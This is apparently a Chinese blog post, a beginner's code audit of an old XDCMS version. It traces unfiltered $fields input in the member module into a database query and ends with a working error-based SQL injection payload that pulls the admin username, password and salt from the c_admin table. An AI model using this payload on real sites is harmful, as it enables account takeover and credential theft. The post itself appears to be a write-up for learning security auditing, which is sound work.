【代碼審計】XDCMS 報錯註入
阿新 • • 發佈:2017-05-14
信息 輸入 alt 變量 出現 img 語句 limit lec
審計的都是之前很老的一些的CMS,把學習的過程分享出來,如果有正在和我一起學習的兄弟們,希望看到文章之後會有所收獲
--------------------------------------------------------------------------------------------------------------------------------------
在system/moudles/member/index.php中
上述代碼可以看到$fields 沒有被過濾,跟蹤$fields這個變量。
在83行把重新組合的值傳入到 $field_sql中,繼續跟蹤$field_sql 這個變量
我們跟蹤query這個函數 在system/libs/mysql.class.php中
如果操作失敗,會出現一些錯誤信息。這裏我們輸入語句就會顯示賬號密碼
參考EXP:
(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e) from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2)) x frominformation_schema.tables group by x)a)#
【代碼審計】XDCMS 報錯註入